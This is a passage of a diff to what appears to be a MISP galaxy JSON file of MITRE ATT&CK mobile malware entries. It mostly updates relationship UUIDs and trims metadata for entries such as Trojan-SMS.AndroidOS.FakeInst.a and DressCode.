"3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -160,20 +140,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -182,7 +148,14 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -196,7 +169,7 @@ "type": "uses" }, { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -210,7 +183,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -417,21 +390,7 @@ }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -450,6 +409,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "29944858-da52-4d3d-b428-f8a6eb8dde6f", @@ -665,6 +631,13 @@ ], "type": "uses" }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -673,7 +646,14 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -686,13 +666,6 @@ ], "type": "similar" }, - { - "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -707,13 +680,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8", "tags": [ @@ -722,21 +688,7 @@ "type": "similar" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -757,7 +709,14 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -784,13 +743,6 @@ ] }, "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -799,21 +751,21 @@ "type": "uses" }, { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -839,13 +791,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "2740eaf6-2db2-4a40-a63f-f5b166c7059c", @@ -869,7 +814,7 @@ }, "related": [ { - "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -883,7 +828,7 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -910,13 +855,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -932,21 +870,21 @@ "type": "similar" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -960,7 +898,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1833,7 +1771,7 @@ }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1854,7 +1792,14 @@ "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1866,13 +1811,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23", @@ -1971,28 +1909,14 @@ "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2006,14 +1930,14 @@ "type": "uses" }, { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "fa801609-ca8e-415e-815e-65f3826ff4df", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2115,13 +2039,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -2144,14 +2061,14 @@ "type": "uses" }, { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2165,14 +2082,7 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2193,7 +2103,7 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2221,14 +2131,21 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3914,13 +3831,6 @@ ] }, "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -3929,14 +3839,7 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3950,7 +3853,7 @@ "type": "uses" }, { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3963,6 +3866,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -3971,7 +3881,7 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3991,6 +3901,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -3999,7 +3916,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4034,6 +3951,27 @@ ] }, "related": [ + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "37047267-3e56-453c-833e-d92b68118120", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -4041,13 +3979,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -4055,20 +3986,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -4083,6 +4000,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -4098,7 +4022,7 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4117,13 +4041,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "366c800f-97a8-48d5-b0a6-79d00198252a", @@ -4654,7 +4571,7 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4667,13 +4584,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -4688,6 +4598,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", "tags": [ @@ -4710,7 +4627,7 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4736,13 +4653,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "f3975cc0-72bc-4308-836e-ac701b83860e", @@ -5240,7 +5150,14 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5253,26 +5170,12 @@ ], "type": "uses" }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "5a5dca4c-03c1-4b99-bfcf-c206e20aa663", @@ -5309,21 +5212,21 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5343,6 +5246,13 @@ ], "type": "uses" }, + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -5350,20 +5260,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -5372,7 +5268,7 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5386,7 +5282,7 @@ "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5407,7 +5303,7 @@ "type": "uses" }, { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5428,14 +5324,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5618,20 +5507,14 @@ "description": "[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0306", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0306", "https://securelist.com/mobile-malware-evolution-2013/58335/" - ], - "synonyms": [ - "Trojan-SMS.AndroidOS.FakeInst.a" ] }, "related": [ { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5645,20 +5528,14 @@ "description": "[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0307", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0307", "https://securelist.com/mobile-malware-evolution-2013/58335/" - ], - "synonyms": [ - "Trojan-SMS.AndroidOS.Agent.ao" ] }, "related": [ { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5672,20 +5549,14 @@ "description": "[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0308", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0308", "https://securelist.com/mobile-malware-evolution-2013/58335/" - ], - "synonyms": [ - "Trojan-SMS.AndroidOS.OpFake.a" ] }, "related": [ { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6260,28 +6131,14 @@ }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6295,7 +6152,14 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6309,7 +6173,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6336,28 +6200,14 @@ }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6398,28 +6248,28 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6432,13 +6282,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -6447,14 +6290,7 @@ "type": "uses" }, { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6515,7 +6351,7 @@ }, "related": [ { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7552,15 +7388,9 @@ "description": "[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)", 